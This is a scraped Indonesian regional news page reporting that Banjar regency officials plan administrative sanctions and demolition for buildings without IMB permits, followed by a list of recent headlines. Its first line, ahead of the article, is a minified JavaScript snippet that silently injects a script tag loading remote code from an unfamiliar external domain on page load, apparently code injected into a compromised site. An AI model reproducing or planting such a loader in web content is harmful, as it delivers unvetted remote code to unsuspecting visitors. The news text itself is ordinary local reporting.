(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Sanksi Administratif hingga Pembongakran Ancam Pemilik Bangunan Tanpa IMB


MARTAPURA, Maraknya pelanggaran atas Izin Mendirikan Bangunan (IMB) membuat Pemkab Banjar bersikap tegas. Pemerintah pun mengancam akan membongkar bangunan yang melanggar jika mengabaikan peringatan yang disampaikan sebelumnya.

Staf Ahli Bidang Kemasyarakatan Kabupaten Banjar, Masruri, mengatakan, pihaknya masih membicarakan kebijakan tersebut dengan DPRD Banjar. Hingga nantinya sampai pada keputusan pembongkaran bangunan. Diantara yang dibicarakan adalah apabila bangunan tersebut tidak berizin atau pemilik bangunan menyalahi ketentuan peraturan daerah, maka pemerintah akan mengenakan sanksi.

Menurut Masruri, selama ini sanksi memang diberikan. Dimana pemilik akan dibawa kepengadilan. Ketika kalah, maka pemilik bangunan akan mendapatkan sanksi kurungan atau penjara. Namun ketika sanksi dilakukan, setelah itu tidak ada tindak lanjut untuk bangunan yang menyalahi peraturan tersebut.

“Pemilik bangunan yang menyalahi ketentuan peraturan daerah ada sanksi administraif. Artinya apabila yang tidak ada IMB atau ada tapi menyalahi aturan. Kami bisa lakukan pembongkaran,” katanya saat Sosialisasi Peraturan Perundang-Undang Bidang Perumahan 2018 di aula Balitbang, Martapura, Rabu (18/7).

Ia mengatakan saat ini pihaknya masih melalukan revisi peraturan tersebut di DPRD. Bahkan ia pun sudah menjadwalkan pertemuan untuk membahas itu.

Dalam rencana penegasan itu, ia menerangkan nantinya bangunan bisa dibongkar dan dana dibebankan kepada pemilik. Namun apabila pemilik tidak menyanggupi maka pendanaan akan dibebankan pada pemerintah kabupaten.(rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

5 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

8 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

11 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

13 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

13 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

14 jam ago

This website uses cookies.